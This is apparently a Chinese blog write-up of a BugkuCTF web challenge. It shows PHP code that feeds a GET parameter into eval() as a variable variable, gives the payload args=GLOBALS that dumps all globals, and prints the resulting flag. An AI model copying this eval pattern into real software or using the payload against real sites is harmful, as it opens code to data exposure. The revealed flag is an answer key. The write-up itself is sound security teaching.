BugkuCTF-web-变量1 writeup

原创

会下雪的晴天 于 2019-07-06 12:53:11 发布 2129 收藏 6

分类专栏： CTF做题记录

会下雪的晴天

本文链接：https://blog.csdn.net/weixin_43578492/article/details/94844543

++

个人收获：PHP `echo(var_dump("$GLOBALS"));` //以数组方式输出超全局变量数组内的所有元素

++

题目描述

解题链接：http://123.206.87.240:8004/index1.php

解题思路

打开链接得到

```
flag In the variable ! <?php
error_reporting(0);
include "flag1.php";
highlight_file(__file__);
if(isset($_GET['args'])){
    $args = $_GET['args'];
    if(!preg_match("/^\w+$/",$args)){///^开始, \w表示任意一个单词字符, 即[a-zA-Z0-9_] ,+将前面的字符匹配一次或多次, $/结尾
        die("args error!");
    }
    eval("var_dump($$args);");//var_dump() 函数显示关于一个或多个表达式的结构信息, 包括表达式的类型与值。数组将递归展开值, 通过缩进显示其结构。
}
?>
```

代码审计，这里需要知道一个知识点`可变变量`

可变变量是一种独特的变量，它允许动态改变一个变量名称。其原理是变量的名称由另外一个变量的值来确定，即一个可变变量获取了一个普通变量的值作为这个可变变量的变量名，实现过程是在变量前面多加美元符号 “$”
eg：

```
<?php
$test="hello";//声明变量test
$hello="word";//声明变量hello
echo $test;//输出test

echo "<br/>";//换行

echo $$test;//通过可变变量输出$hello
?>
```

运行结果：
hello
word

我们的目标是得到flag，由于代码含有正则匹配，文件上传、本地包含等漏洞不能用，而PHP中$GLOBALS[index] 的数组中存储了所有全局变量
所以我们构造payload
`http://123.206.87.240:8004/index1.php?args=GLOBALS`
这样输出语句代码变为

```
echo("var_dump($GLOBALS);");//输出超全局变量数组中存放的所有变量, 并以数组形式输出
```

得到FLAG

flag In the variable ! <?php

```
error_reporting(0);
include "flag1.php";
highlight_file(__file__);
if(isset($_GET['args'])){
        $args = $_GET['args'];
        if(!preg_match("/^\w+$/", $args)){
                die("args error!");
        }
        eval("var_dump($$args);");
}
?>
```

array(7) { ["GLOBALS"]=> *RECURSION* ["_POST"]=> array(0) { } ["_GET"]=> array(1) { ["args"]=> string(7) "GLOBALS" } ["_COOKIE"]=> array(0) { } ["_FILES"]=> array(0) { } ["ZFkwe3"]=> string(38) "flag{92853051ab894a64f7865cf3c2128b34}" ["args"]=> string(7) "GLOBALS" }

flag{92853051ab894a64f7865cf3c2128b34}